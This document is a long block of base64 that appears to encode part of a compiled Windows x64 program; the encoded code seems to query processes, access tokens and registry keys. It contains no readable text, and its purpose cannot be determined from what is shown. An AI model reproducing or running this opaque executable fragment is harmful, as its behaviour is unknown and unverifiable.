QkTItdAEiLzUljQwRmRIl0KFiLUyToYwsAAEG8CQAAAEiLyEEPt9ToTbD+/0iNUzBIi8jo/WT+/0iLyEiL+OiqY/7/SIvP6A7Z/f9Ig8NYSDteCA+Fgf7//+tVSI1MJGBFM8CyAeijpv7/SIsNjGYEAEiNFaV5AwBIi9jo3RL+/0iL00iLyOiqZP7/SIvISIvY6Fdj/v9Ii8vou9j9/0iDfCR4CHIKSItMJGDoVQkBAEiF9nQISIvO6DR1/v+wAUiLjCSIAAAASDPM6MYCAQBMjZwkkAAAAEmLWyBJi2soSYtzMEmLezhJi+NBX0FeQVzDSIvESIlYEEiJcBhIiXggVUFUQVdIjWiISIHsYAEAAEiLBUZMBABIM8RIiUVYg2QkIABIi9lIi0kISDkLdGdIKwtIuGdmZmZmZmZmSPfpSMH6BEiLwkjB6D9IA9BIg/oBd0NIjUwkMOhgKP7/SIsTSI1MJEDoy2P+/0iNVCQgSI1MJDDoHLT+/0iNTcjovyj+/0yNHTTNAgBIjU3ITIldyOiL1wAAuSAAAADoXQkBAEyL4EiFwHQQSIMgAEiDYAgASINgEADrA0Uz5EiNVCQgSYvM6DF2/v+EwA+EsQAAAEiLDSZlBABIjRVveAMA6HoR/v9Ii8hIi9jo/2H+/0iLy+hj1/3/SYscJEk7XCQID4TOAAAAQb8JAAAASItTGEiLDedkBADoDt3//0EPt9dIi8joUq7+/4tTIEiLyOh/1f3/QYrXSIvI6AzH//9IjVMwSIvI6Oxi/v9BD7fXSIvI6CSu/v9IjVNYSIvI6NRi/v9Ii8hIi/jogWH+/0iLz+jl1v3/SIPrgEk7XCQIdYzrUkiNTTBFM8CyAeh+pP7/SIsNZ2QEAEiNFeh3AwBIi9jouBD+/0iL00iLyOiFYv7/SIvISIvY6DJh/v9Ii8voltb9/0iDfUgIcglIi00w6DIHAQBNheR0Q0mLHCRIhdt0IUmLfCQI6wxIi8vo7ZD+/0iD64BIO99170mLDCToAwcBAEmDJCQASYNkJAgASYNkJBAASYvM6OoGAQCwAUiLTVhIM8zobAABAEyNnCRgAQAASYtbKEmLczBJi3s4SYvjQV9BXF3DzMzMSIvESIlYEEiJcBhIiXggVUFUQVVBVkFXSI1ooUiB7AABAABIiwXqSQQASDPESIlFL0Uz9kiL2UiLSQhIKwtBvwcAAABIvmdmZmZmZmZmSIvGSIPP/0yJde9MiX33ZkSJdd9MiX3PSPfpSMH6BEyJdcdmRIl1t0iLwkjB6D9IA9BI/8p0Ukj/ynVfSIsTSI1N30yLz0UzwOh04v3/TIsbSItLCEkry0iLxkj36UjB+gRIi8JIweg/SAPQSIP6AXcNSI0N1XcDAOhY2gAAzEmNUyhIjU236wdIixNIjU3fTIvPRTPA6Cfi/f9IjVXfSI1MJCBMiX2fTIl1l2ZEiXWH6KRw/v+EwA+EKgIAAESLRCQoM9K5EAQAAP8VNsICAEyL6EiFwA+EXgIAAEiNTbdMOXXHD4T4AAAASIN9zwhID0NNt2aDOSoPhfMAAAC5IAAAAOheBgEASIv4SIXAdA1MiTBMiXAITIlwEOsDSYv+SI1UJChIi8/oNXP+/76AAAAAhMB0G0iLH+sOSYvVSIvL6HQEAABIA95IO18IdezrUkiNTQdFM8CyAegXov7/SIsNAGIEAEiNFYF1AwBIi9joUQ7+/0iL00iLyOgeYP7/SIvISIvY6Mte/v9Ii8voL9T9/0iDfR8IcglIi00H6MsEAQBIhf8PhDEBAABIix9Ihdt0HkyLZwjrC0iLy+iEjv7/SAPeSTvcdfBIiw/onAQBAEyJN0yJdwhMiXcQ6fMAAABIjVXfTIvPRTPA6NHg/f+5gAAAAOhrBQEASIv4SIXAdBxMiXhITIlwQGZEiXAwTIl4cEyJcGhmRIlwWOsDSYv+TI1EJChIjVW3SIvP6MNw/v+EwHQNSYvVSIvP6HgDAADrUkiNTQdFM8CyAegkof7/SIsNDWEEAEiNFe50AwBIi9joXg3+/0iL00iLyOgrX/7/SIvISIvY6Nhd/v9Ii8voPNP9/0iDfR8IcglIi00H6NgDAQBIhf90QkiDf3AIcglIi09Y6MMDAQBMiX9wTIl3aGZEiXdYSIN/SAhyCUiLTzDopgMBAEyJf0hMiXdAZkSJdzBIi8/okQMBAEmLzf8V4L8CAOtSSI1NB0UzwLIB6ICg/v9Iiw1pYAQASI0VSnIDAEiL2Oi6DP7/SIvTSIvI6Ide/v9Ii8hIi9joNF3+/0iLy+iY0v3/SIN9HwhyCUiLTQfoNAMBAEiDfZ8IcglIi02H6CQDAQBIg33PCEyJfZ9MiXWXZkSJdYdyCUiLTbfoBwMBAEiDffcITIl9z0yJdcdmRIl1t3IJSItN3+jqAgEAsAFIi00vSDPM6Gz8AABMjZwkAAEAAEmLWzhJi3NASYt7SEmL40FfQV5BXUFcXcPMzMxIiVwkGFVWV0FUQVVIjWwkyUiB7JAAAABIiwXxRQQASDPESIlFJ0yL6UiLDYBfBACL+kiNFa9zAwDo0gv+/0GLVQBIi8joGtD9/0iLyEiL2OhLXP7/SIvL6K/R/f+F/3QwSIsNSF8EAEiNFZFzAwDonAv+/4vXSIvI6ObP/f9Ii8hIi9joF1z+/0iLy+h70f3/RYtFADP2M9K5AAQAAEUz5EAy/0iJddf/FaK+AgBIi9hIhcAPhNQAAABIg/j/D4TKAAAATI1F37oIAAIASIvI/xW6uwIAhcB0Q0iLTd9IjUXnRI1OOEyNRe+NVgpIiUQkIP8VoLsCAEiLTd+FwIvGQA+Vx0CE/0gPRUX3SIlF1/8V+r0CAESLZduLdddIi8v/Feq9AgBAhP90Y0iLDX5eBABIjRXfcgMA6Hol/v9Bi9RIi8jo5wIAAEiLyEiL2OhMW/7/SIvL6LDQ/f9Iiw1NXgQASI0VvnIDAOhJJf7/i9ZIi8jo6879/0iLyEiL2OgcW/7/SIvL6IDQ/f/rUkiNTe9FM8CyAegknv7/SIsNDV4EAEiNFY5yAwBIi9joXgr+/0iL00iLyOgrXP7/SIvISIvY6Nha/v9Ii8voPND9/0iDfQcIcglIi03v6NgAAQBIi00nSDPM6Fz6AABIi5wk0AAAAEiBxJAAAABBXUFcX15dw8xIiVwkCEiJbCQQSIl0JBhXQVRBVUiD7CBIi/JIi/lIjVEwSIsNg10EAOi2W/7/SI0VZ04DAEiLyOjPCf7/SI1XWEiLyOibW/7/SIvISIvY6Eha/v9Ii8vorM/9/0iLXxhBvSAAAABBi83oPgEBAEUz5EiL6EiFwHQNTIkgTIlgCEyJYBDrA0mL7EyLxkiL1UiLy+j5cv7/hMAPhBABAABIi10A6f0AAABIg3sYEHIFSIs76wNIi/tIiw3uXAQASI0Vh3EDAOhCCf7/SIvXSIvI6N8j/v9Ii8hIi/jovFn+/0iLz+ggz/3/SIt7KOmmAAAASIsNtFwEAEiNFX1xAwDoCAn+/0iLF0iLyOjJ1P//SI0Vhk0DAEiLyOjuCP7/SItXCEiLyOiu1P//QQ+31UiLyOjypf7/D7d3EGaF9nQgSIsNZlwEAEiNFT9xAwDougj+/w+31kiLyOgnjP//6x1Ig38wEHIGSItXGOsESI1XGEiLDTVcBADoOCP+/0iLNSlcBABIi87oEVn+/0iLzuh1zv3/SIPHQEg7ezAPhVD///9Ig8NISDtdCA+F+f7//0iF7XRcSItdAEiF23Q/SIt9COsrSI1LKOjwff7/SIN7GBByCEiLC+jZ/gAASMdDGA8AAABMiWMQRIgjSIPDSEg733XQSItNAOi4/gAASIvNTIllAEyJZQhMiWUQ6KT+AABIi1wkQEiLbCRISIt0JFBIg8QgQV1BXF/DzMzMSIvESIlICFdBVEFVSIPsYEjHRCQ4/v///0iJWBBEi+pIi/lFM+REiWC4SIsBTGNABEmLTAhISIXJdAZIiwH/UAhIiwdIY0gERDlkORB1D0iLTDlQSIXJdAXofs39/0iLB0hjWAREOWQ7EA+UwITAD4TEAAAASItcO0BIixtIiZwkmAAAADPSSI2MJJAAAADocNMAAEiLQwhIg/j/cwdI/8BIiUMISI2MJJAAAADogtMAAEiNjCSYAAAA6JUJ/v9Ii9hIjYwkmAAAAOi5zQAAkEiLD0xjSQRMA89Ji0lIxkQkQABIiUwkSEEPt0FYDyhEJEBmD39EJFBMixNEiWwkKGaJRCQgTI1EJFBIjVQkQEiLy0H/UjhBuAQAAACAfCRAAEUPReBEiWQkMOsTSIu8JIAAAABEi2QkMEG4BAAAAEiLB0hjSARIA89FheR0G4tREEEL1IvCQQvASIN5SAAPRNBFM8DoW739/+hG0wAAhMB1CEiLz+hu6f3/SIsHSGNIBEiLTDlISIXJdAZIiwH/UBBIi8dIi5wkiAAAAEiDxGBBXUFcX8PMzA+2wkiNURCLyOmK1wAAzMxIiVwkCEiJdCQQV0iD7CBJi/BIi9pJO9B0GUiNeRAPtgtIi9foX9cAAIgDSP/DSDvedetIi3QkOEiLw0iLXCQwSIPEIF/DzMwPtsJIjVEQi8jpUvQAAMzMSIlcJAhIiXQkEFdIg+wgSYvwSIvaSTvQdBlIjXkQD7YLSIvX6Cf0AACIA0j/w0g73nXrSIt0JDhIi8NIi1wkMEiDxCBfw8zMisLDzEBTSIPsIEmL2EmLyUwrwuhI+AAASIvDSIPEIFvDzMzMQFNIg+wgSItMJFBJi9hMK8LoJvgAAEiLw0iDxCBbw8xIiVwkCFdIg+wgSI0Fo3QDAIv6SIvZSIkBi0EghcB+C0iLSRjoJ/sAAOsLeQlIi0kY6K77AABIjQWPvgIASIkDQPbHAXQISIvL6J77AABIi8NIi1wkMEiDxCBfw0iLxEiJWBBIiXAYSIl4IFVIjWihSIHs4AAAAEiLBcY+BABIM8RIiUVHM/9Ii9lIjRVbbQMASIk5SIl5CEiJeRCNdwdEjUdQSI1Nv0iJfc9miX2/SIl11+ig2P3/RI1HBkiNFdFtAwBIjU2XSIl1r0iJfadmiX2X6IDY/f9MjU2/TI1Fl0iNFW0BAABIjU3n6Lgr//9Ii8tIi9DokVr//0iDfS8IcglIi00X6OH6AABIg30HCEiJdS9IiX0nZol9F3IJSItN7+jF+gAASI0Vfm0DAEiNTZdBuCsAAABIiXWvSIl9p2aJfZfoD9j9/0iNFbRtAwBIjU2/TIvGSIl110iJfc9miX2/6PDX/f9MjU2XTI1Fv0iNFWkAAABIjU3n6Cgr//9Ii8tIi9DoAVr//0iDfS8IcglIi00X6FH6AABIg30HCEiJdS9IiX0nZol9F3IJSItN7+g1+gAASIvDSItNR0gzzOi28wAATI2cJOAAAABJi1sYSYtzIEmLeyhJi+Ndw8xIg+xoSIsFWT0EAEgzxEiJRCRYSIsRSDtRCHQ3M8BIjUwkIEmDyf9FM8BIx0QkOAcAAABIiUQkMGaJRCQg6B7W/f9IjVQkSEiNTCQg6FMHAADrCkiNTCRI6OsSAACwAUiLTCRYSDPM6DDzAABIg8Row8zMzEiJXCQQSIl0JBhIiXwkIFVIi+xIg+xgSIsF0jwEAEgzxEiJRfhMiwlIi1EISIvxTDvKD4TaAAAASSvRSLhnZmZmZmZmZkj36kjB+gRIi8JIweg/SAPQSIP6AQ+CsgAAAEiD+gIPh6gAAABJg3kYCHIDTYsJSIPJ/zPbM8BJi/lIx0XYBwAAAEiJXdBmiV3AZvKvSYvRSPfRTI1B/0iNTcDoX9b9/0iNVehIjU3A6H4GAACEwA+EmAAAAEiLVghIg+ooSIN6GAhyA0iLEkiDyf8zwEiL+kjHRdgHAAAASIld0GaJXcBm8q9I99FMjUH/SI1NwOgM1v3/SI1V6EiNTcDocwAAAITAdUlIjRW4awMA6yFIjU3o6LkRAACEwHQzSI1N6OjwEgAAhMB1JkiNFeVrAwBIiw1WVQQA6LEB/v9Ii8hIi/joNlL+/0iLz+iax/3/sAFIi034SDPM6MjxAABMjVwkYEmLWxhJi3MgSYt7KEmL413DzMxIiVwkGFVWV0FUQVVBVkFXSI1sJNlIgezwAAAASIsFVTsEAEgzxEiJRR8z20yL+UiJTaeNSwhIi/pEiuvo1/gAAEyL8EiFwHQHM8BJiQbrA0yL80mJHkmDfxgIcgVJiw/rA0mLz0mL1ujHK/7/hMAPhPEEAABBvCgAAABBi8zolfgAAEiL8EiJRZdIhcB0EEjHQBgPAAAASIlYEIgY6wdIi/NIiV2XSIvWSYvO6Css/v+EwA+EgwQAAEmLzOhX+AAASIvYSIPI/0iF23QhSINjEABIx0MYDwAAAEyLyEUzwEiL1kiLy8YDAOgu9v3/SI0VA2sDAEG4FAAAAEiLy+j18/3/SYvM6A34AABMi+BIiUWfSIXAdCdIg2AQAEjHQBgPAAAASI0V5WoDAEG4AQAAAEiLyMYAAOgA4f3/6wdFM+RMiWWfg2QkNABIg2WHAEiNRCQ0TI1Nh02LxEiL00mLzkiJRCQg6FUw/v8z24TAD4SXAwAATItFhzPASI1N/0iL14hd/0iJRQBIiUUISIlFEIlFGGaJRRyIRR7ofCP+/4TAD4RbAwAAjUso6Gj3AABIi9hIiUQkOEiFwHQkSINgEABIx0AYDwAAAEmDyf9FM8BIi9ZIi8jGAADoPfX9/+sHM9tIiVwkOEiNFSlqAwBBuBoAAABIi8vo+/L9/7lYAAAA6BH3AABIi/hIhcB0FTPSSIvIRI1CWOjTVAEASIl8JEDrBkiDZCRAAEyNRCRASIvTSYvO6FYr/v8z24TAD4S1AgAAjUsg6Mz2AABIi/hIhcB0DUiJGEiJWAhIiVgQ6wNIi/tIi1QkQEyLx0mLzuj4L/7/RIroiEQkMITAD4QZAgAASIsfSDtfCA+ECgIAAEyLfCQ4RIrgSIPO/0yLaxBNO+1Ig3sYEHIFSIsL6wNIi8tBuAUAAABIjRV1aQMATTvoTQ9CxegV0gEASGPIM8BJg/0FD5XASYP9BQ9CxkiFyQ9FwYXAD4SKAQAAuSgAAADoIvYAAEyL6EiFwHQjSINgEABIx0AYDwAAAEyLzkUzwEmL10iLyMYAAOj98/3/6wNFM+1IjRWlAwMAQbgBAAAASYvN6L/x/f9Mi85FM8BIi9NJi83oivj9/0iDZecASI0VumgDAEiNTddBuAEAAABIx0XvDwAAAMZF1wDoy979/zPASI0VwmgDAEiNTa9EjUABSIlEJDiJRCRISMdFxw8AAABIiUW/iEWv6J3e/f9Ig2WPAINkJDQASI1EJDRMjU2PTI1Fr0mL1UmLzkiJRCQg6Pot/v+EwHQpSI1EJEhMjUwkOEyNRddJi9VJi85IiUQkIOjYLf7/hMB0B7gBAAAA6wIzwEQi4HQcSItVj0iLTCQ4TI1F/+hsEwAASItMJDjoAvQAAE2F7XQqSYN9GBByCUmLTQDo9fMAAEmDZRAAScdFGA8AAABJi81BxkUAAOjb8wAASIN9xxByCUiLTa/oy/MAAEiDZb8ASIN97xBIx0XHDwAAAMZFrwByCUiLTdfoqvMAAEiDwyhIO18ID4UY/v//SIt1l0yLfadEiGQkMESKbCQwTItlnzPbSIX/dFhIix9Ihdt0NkyLbwjrI0iDexgQcghIiwvoYvMAAEiDYxAASMdDGA8AAADGAwBIg8MoSTvdddhIiw/oQfMAADPbSIvPSIkfSIlfCEiJXxDoLPMAAESKbCQwSItMJEDoHfMAAEiLTYfoDPMAAE2F5HQrSYN8JBgQcglJiwwk6P7yAABJx0QkGA8AAABJiVwkEEmLzEGIHCTo5PIAAEiF9nQlSIN+GBByCEiLDujQ8gAASMdGGA8AAABIiV4QSIvOiB7ouvIAAEmLzuiy8gAASYN/GAhyCEmLD+ij8gAAScdHGAcAAABJiV8QQYrFZkGJH0iLTR9IM8zoFOwAAEiLnCRAAQAASIHE8AAAAEFfQV5BXUFcX15dw8xIiVwkGFVWV0FUQVVBVkFXSI1sJNlIgezAAAAASIsFnTUEAEgzxEiJRRcz20yL8UyL+o1LCECK++gj8wAATIvoSIXAdAgzwEmJRQDrA0yL60mJXQBJg34YCHIFSYsO6wNJi85Ji9XoESb+/4TAD4SBAwAAuSgAAADo4/IAAEyL4EiFwHQQSMdAGA8AAABIiVgQiBjrA0yL40mL1EmLzeiBJv7/hMAPhAsDAABMjUWHSYvUSYvNiV2H6K8JAACEwA+E8QIAALn4AAAA6JHyAABIhcB0C0iLyOgEFgAASIvYSIXbdAZIjXsQ6wIz/0iNTY+6AwAAAOguzgAASYvUSIvPSIvw6JA4AABIi8jooDoAAEiL+EiFwHUEM8nrCkiLAEhjSARIA89Ii1YI/xZMix+LVYdJY0MESIvPxkQ4WDDoaRIAALkoAAAA6BPyAAAz/0iL8EiFwA+EDwEAAIuDkAAAAKgCdWlIi0tgSDk5dGBMi4OIAAAASItDQEw7AUiLEEwPQgFIjU3HSMdF3w8AAABMK8JIiX3XQIh9x+jl2v3/SMdGGA8AAABIiX4QSI1Vx0iLzkCIPug+Lf7/SIN93xAPgqgAAABIi03H6ZUAAACoBHVeSItLWEg5OXRVSItDOEiLEEiLQ3BMYwBMK8JMAwFIjU3vSMdFBw8AAABIiX3/QIh97+h82v3/SMdGGA8AAABIiX4QSI1V70iLzkCIPujVLP7/SIN9BxByQ0iLTe/rM7gPAAAASIl9r0CIfZ9IiX4QSIlFt0iJRhhIjVWfSIvOQIg+6KAs/v9Ig323EHIOSItNn+gA8AAA6wNIi/dIhdt0FEiLA7oBAAAASGNIBEgDy0iLAf8QuSgAAADo0PAAADPbSIv4SIXAdBFIx0AYBwAAAEiJWBBmiRjrA0iL+0yLx0iL1kmLzeiMAQAAhMB0M0iLDZlMBABIjRXKYwMA6O34/f9Ii9dIi8joukr+/0iLyEiL2OhnSf7/SIvL6Mu+/f8z20iF/3QmSIN/GAhyCEiLD+hh7wAASMdHGAcAAABIiV8QSIvPZokf6ErvAABNi8dIi9ZJi83odAIAAECK+ITAdFlFM8lIjU2fSYvXRY1BEOhumP7/SIsNE0wEAEiNFWRjAwBIi9joZPj9/0iL00iLyOgxSv7/SIvISIvY6N5I/v9Ii8voQr79/0iDfbcIcglIi02f6N7uAAAz20iF9nQlSIN+GBByCEiLDujI7gAASMdGGA8AAABIiV4QSIvOiB7osu4AAE2F5HQrSYN8JBgQcglJiwwk6JzuAABJx0QkGA8AAABJiVwkEEmLzEGIHCTogu4AAEmLTQBIhcl0Behs7gAASYvN6GzuAABJg34YCHIISYsO6F3uAABJx0YYBwAAAEmJXhBAisdmQYkeSItNF0gzzOjO5wAASIucJBABAABIgcTAAAAAQV9BXkFdQVxfXl3DzMzMSIlcJAhIiWwkEFZXQVVIg+xASIvxuSgAAABJi+hIi/ro8+4AAEG9DwAAAEiL2EiFwHQgSINgEABMiWgYSYPJ/0UzwEiL10iLyMYAAOjL7P3/6wIz20iNFTRiAwBBuCIAAABIi8vojur9/7koAAAA6KTuAABIi/hIhcB0I0iDYBAATIloGEiNFSxiAwBBuAwAAABIi8jGAADon9f9/+sCM/+DZCR4AEiDZCQwAEiNRCR4TI1MJDBMi8dIi9NIi85IiUQkIOj3Jv7/QIrwhMB0H0xjRCR4SItUJDBIi81J0ejop8r9/0iLTCQw6CntAABIhf90I0iDfxgQcghIiw/oHe0AAEiDZxAATIlvGEiLz8YHAOgJ7QAASIXbdCNIg3sYEHIISIsL6PXsAABIg2MQAEyJaxhIi8vGAwDo4ewAAEiLXCRgSItsJGhAisZIg8RAQV1fXsPMzMxIiVwkIFVWV0FUQVVBVkFXSIvsSIHsgAAAAEiLBf8vBABIM8RIiUX4SI0FQWEDAEyJRahMi/JIiUW4SI0FM2EDAEiJVbBIiUXASI0FLGEDAEyL+UiJRchIjQUiYQMATI1luEiNdehBvQQAAABIiUXQM/+NTyjoRu0AAEiL2EiFwHQjSMdAGA8AAABIiXgQSYPJ/0UzwEmL1kiLyECIOOgh6/3/6wNIi99IjRXZYAMAQbgNAAAASIvL6OPo/f9JizwkSYsUJEiDyf8zwPKuSPfRTI1B/0iLy+jE6P3/uVgAAADo2uwAAEiL+DPASIX/dBREjUBYM9JIi8/omkoBAEiJfaDrBEiJRaBMjUWgSIvTSYvP6CEh/v9Ii12gRTPSQIr4hMB0dzPARIhV2EUPt8JIiUXZi0swD79DSoHBABAAAEhj0UmLD0yNTAoEmSvC0fiFwH41QboIAAAARY1y+WZFO8J9IUkPv8hmRQPGQYoESYhEDdgPv0NKmSvCQQ+/0NH4O9B82UyLdbBIjRUIYAMASI1N2EyLxugoFAEASIvL6CTrAABIg8YESYPECEn/zQ+Fu/7//0yLdahAhP90DEiNVehJi87ojhf+/0CKx0iLTfhIM8zof+QAAEiLnCTYAAAASIHEgAAAAEFfQV5BXUFcX15dw0iLxEiJWBBIiXAYSIl4IFVBVEFVSI1ooUiB7PAAAABIiwUGLgQASDPESIlFPzPATIvpSI0Vq18DAEiJRRiJRSBmiUUkiEUmSI0FWl8DAEG5GQACAEiJRc9IjQVVXwMARTPASIlF10iNBVdfAwBIx8ECAACASIlF30iNBU1fAwDGRRcASIlF50iNRb9IiUQkIP8VJqUCAIv4hcAPhaIBAAAz9kyNZc+F/w+FiAEAAEmLFCRIi02/SI1Fx0G5GQACAEUzwEiJRCQg/xXupAIAi/iFwA+F4gAAAEiDZCRYAEiDZCRQAEiDZCRIAEiDZCRAAEiDZCQ4AEiDZCQwAEiLTcdIg2QkKABIg2QkIABMjUW3SI1VJ0UzycdFtwkAAAD/FaikAgCL+IXAdRdMjUS1F0iNFfpeAwBIjU0n6HkTAQDrbUiNTe9Ei8Az0uiNhv7/SIsNdkYEAEiNFd9eAwBIi9jox/L9/0mLFCRIi8jou/L9/0iNFcBeAwBIi8joVA3+/0iL00iLyOh5RP7/SIvISIvY6CZD/v9Ii8voirj9/0iDfQcIcglIi03v6CbpAABIi03H/xUMpAIA621IjU3vRIvAM9LoFIb+/0iLDf1FBABIjRWOXgMASIvY6E7y/f9JixQkSIvI6ELy/f9IjRVHXgMASIvI6NsM/v9Ii9NIi8joAET+/0iLyEiL2OitQv7/SIvL6BG4/f9Ig30HCHIJSItN7+it6AAA/8ZJg8QIg/4ED4Jw/v//SItNv/8VhKMCAOtSSI1N70SLwDPS6IyF/v9Iiw11RQQASI0VJl4DAEiL2OjG8f3/SIvTSIvI6JND/v9Ii8hIi9joQEL+/0iLy+ikt/3/SIN9BwhyCUiLTe/oQOgAAIX/QQ+Uw0WE23QMSI1VF0mLzei5FP7/QYrDSItNP0gzzOiq4QAATI2cJPAAAABJi1soSYtzMEmLezhJi+NBXUFcXcPMSIlcJAhIiWwkEEiJdCQYV0FUQVZIg+xATIvhuSgAAABJi+hIi9pAMv/oxugAAEiL8EG+DwAAAEiFwHQgSINgEABMiXAYSYPJ/0UzwEiL00iLyECIOOie5v3/6wIz9kiNFW9dAwBBuAcAAABIi87oYeT9/7koAAAA6HfoAABIi9hIhcB0I0iDYBAATIlwGEiNFUddAwBBuAcAAABIi8jGAADoctH9/+sCM9uDZCR4AEiDZCQwAEiNRCR4TI1MJDBMi8NIi9ZJi8xIiUQkIOjKIP7/hMB0HYN8JHgESItMJDBAD5THQIT/dAWLAYlFAOgB5wAASIXbdCNIg3sYEHIISIsL6PXmAABIg2MQAEyJcxhIi8vGAwDo4eYAAEiLXCRgSItsJGhIi3QkcECKx0iDxEBBXkFcX8PMSIlcJBBIiWwkGEiJdCQgV0iD7FBIiwUBKgQASDPESIlEJEhIi/G5KAAAAOiM5wAAM+1Ii/hIhcB0EUjHQBgHAAAASIloEGaJKOsDSIv9SIvP6DKF/v+EwHQxSIsNW0MEAEiNFYxaAwDor+/9/0iL10iLyOh8Qf7/SIvISIvY6ClA/v9Ii8vojbX9/0iF/3QmSIN/GAhyCEiLD+gl5gAASMdHGAcAAABIiW8QSIvPZokv6A7mAABIi87oMvv//0CK+ITAdFpFM8lIjUwkIEiL1kWNQRDoN4/+/0iLDdxCBABIjRUtWgMASIvY6C3v/f9Ii9NIi8jo+kD+/0iLyEiL2OinP/7/SIvL6Au1/f9Ig3wkOAhyCkiLTCQg6KXlAABAisdIi0wkSEgzzOgl3wAASItcJGhIi2wkcEiLdCR4SIPEUF/DSIvESIlYEEiJcBhIiXggVUFUQVVBVkFXSI1ooUiB7OAAAABIiwWuKAQASDPESIlFJ0iNRddIi9lIjRUpWwMARTP/QbkZAAIARTPASMfBAgAAgEiJRCQgRYrn/xUIoAIAhcAPhe0DAABIi03XSI1Fw0iNFSFbAwBIiUQkKEUzyUUzwEyJfCQgRIl9w/8Vz58CAIXAD4VeAwAAi03D6BO7AABIi03XSI0V7FoDAEyL8EiNRcNFM8lIiUQkKEUzwEyJdCQg/xWXnwIAhcAPhcoCAAAzwEiNTRdNi8ZIi9NEiH0XSIlFGIlFIGaJRSSIRSboiBH+/4TAD4TxAgAASItN10iNRd9IjRWVWgMAQbkZAAIARTPASIlEJCD/FUmfAgCFwA+FXQIAAEiLTd9MiXwkWEyJfCRQTIl8JEhMiXwkQEyJfCQ4SI1Ft0yJfCQwRTPJSIlEJChIjUW/RTPAM9JEiX2/RIl9t0iJRCQg/xUHnwIAhcBBD5TERYTkD4T4AQAAi0W3/8CLyIlFt0GNRwJI9+FJjU//SA9AwUiLyOgTugAAQYv/SIvwRDl9vw+GvwEAAItFt0iLTd9MiXwkOEyJfCQwTI1N50yLxovXTIl8JCiJRedMiXwkIP8Vop4CAIXAD4UtAQAASI0Vw1kDAEiLzuhf8QAAhcAPhGgBAABIi03fSI1Fz0G5GQACAEUzwEiL1kiJRCQg/xVMngIAhcAPlMBEIuAPhDsBAABIi03PSI1Fx0iNFV9ZAwBIiUQkKEUzyUUzwESJfcdEiX27TIl8JCD/FQmeAgCFwA+FqAAAAEiLTc9IjUW7SI0VTlkDAEiJRCQoRTPJRTPATIl8JCD/FdydAgCFwHV/i03H6CS5AACLTbtIi9joGbkAAEiLTc9Mi+hIjUXHSI0V61gDAEiJRCQoRTPJRTPASIlcJCD/FZ2dAgCFwHU4SItNz0iNRbtIjRXmWAMASIlEJChFM8lFM8BMiWwkIP8VdJ0CAIXAdQ9MjUUXSYvVSIvL6NkBAABIi8voceIAAEiLTc//FV+dAgDrUkiNTe9Ei8Az0uhnf/7/SIsNUD8EAEiNFZFYAwBIi9jooev9/0iL00iLyOhuPf7/SIvISIvY6Bs8/v9Ii8vof7H9/0iDfQcIcglIi03v6BviAAD/xzt9vw+CQf7//0iLzugA4gAASItN3/8V7pwCAOtpSI1N70SLwDPS6PZ+/v9IjRVPWAMA6xVIjU3vRIvAM9Lo337+/0iNFWhYAwBIiw3BPgQASIvY6Bnr/f9Ii9NIi8jo5jz+/0iLyEiL2OiTO/7/SIvL6Pew/f9Ig30HCHIJSItN7+iT4QAASYvO6IPhAADrUkiNTe9Ei8Az0uiDfv7/SIsNbD4EAEiNFTVYAwBIi9jover9/0iL00iLyOiKPP7/SIvISIvY6Dc7/v9Ii8vom7D9/0iDfQcIcglIi03v6DfhAABIi03X/xUdnAIA61JIjU3vRIvAM9LoJX7+/0iLDQ4+BABIjRUHWAMASIvY6F/q/f9Ii9NIi8joLDz+/0iLyEiL2OjZOv7/SIvL6D2w/f9Ig30HCHIJSItN7+jZ4AAAQYrESItNJ0gzzOha2gAATI2cJOAAAABJi1s4SYtzQEmLe0hJi+NBX0FeQV1BXF3DzEiJXCQgVVZXQVRBVUiNbCTJSIHssAAAAEiLBeEjBABIM8RIiUUvi0EwRTPkSYvYSIvxTI2KnAAAAEiL+kG9BwAAAEyLwkiNTQdIi9NEiGQkKEyJZReJRCQgTIltH2ZEiWUHTIltz0yJZcdmRIllt+i8Dv7/i0YwTI2PqAAAAEiNTbdMi8dIi9PGRCQoAYlEJCDomg7+/4tHDESLRxBIjU3fSI2UOMwAAABJ0ehMiW33TIll72ZEiWXf6Fa9/f9Iix3bPAQASIvL6MM5/v9Ii8voJ6/9/0iNFRxXAwBIi8voHOn9/4tWMEiLyOhlrf3/SIvISIvY6JY5/v9Ii8vo+q79/0iNFd9WAwBIi8vo7+j9/0iNVd9Ii8jouzr+/0iLyEiL2OhoOf7/SIvL6Myu/f9IjRWhVgMASIvL6MHo/f9IjVUHSIvI6I06/v9Ii8hIi9joOjn+/0iLy+ierv3/SI0VY1YDAEiLy+iT6P3/SI1Vt0iLyOhfOv7/SIvYSIvI6Aw5/v9Ii8vocK79/0iDffcIcglIi03f6AzfAABIg33PCHIJSItNt+j83gAASIN9HwhMiW3PTIllx2ZEiWW3cglIi00H6N/eAABIi00vSDPM6GPYAABIi5wk+AAAAEiBxLAAAABBXUFcX15dw0iLxEiJSAhWV0FUSIPscEjHRCQ4/v///0iJWBBEi+JIi/kz9olwqEiL0UiNSLjoMQ0AAEA4dCRID4THAAAASIsHSGNYBEiLXDtASIsbSImcJKgAAAAz0kiNjCSgAAAA6NSzAABIi0MISIP4/3MHSP/ASIlDCEiNjCSgAAAA6OazAABIjYwkqAAAAOh9KQAASIvYSI2MJKgAAADoHa4AAJBIiw9MY0kETAPPSYtJSMZEJFAASIlMJFhBikFYDyhEJFBmD39EJGBMixNEiWQkKIhEJCBMjUQkYEiNVCRQSIvLQf9SMEG4BAAAAIB8JFAAQQ9F8Il0JDDrEkiLvCSQAAAAi3QkMEG4BAAAAEiLB0hjSARIA8+F9nQai1EQC9aLwkELwEiDeUgAD0TQRTPA6MWd/f/osLMAAEiLXCRAhMB1CEiLy+gjFgAASIsDSGNIBEiLTBlISIXJdAZIiwH/UBBIi8dIi5wkmAAAAEiDxHBBXF9ew4PI/8NAU0iD7CBIiwFIi9n/UDCDyv87wnQXSItDWAEQSItLQEiLEUiNQgFIiQEPthKLwkiDxCBbw8zMzEiLxEiJWAhIiWgQSIlwGEiJeCBBVEiD7CAz/0mL2EiL6kiL8U2FwH5rSItWQEiDOgB0CEiLRliLCOsCM8lMY+GFyX4xSIsSSTvcSIvNTA9M402LxOjj2AAASItGWEkD7EQpIEiLTkBJY8RJA/xJK9xIAQHrGkiLBkiLzv9QOIP4/3QRiEUASP/HSP/FSP/LSIXbf5VIi1wkMEiLbCQ4SIt0JEBIi8dIi3wkSEiDxCBBXMPMzEiLxEiJWAhIiWgQSIlwGEiJeCBBVEiD7CAz/0mL2EiL6kiL8U2FwH5sTItOSEmDOQB0CEiLRmCLCOsCM8lMY+GFyX4xSYsJSTv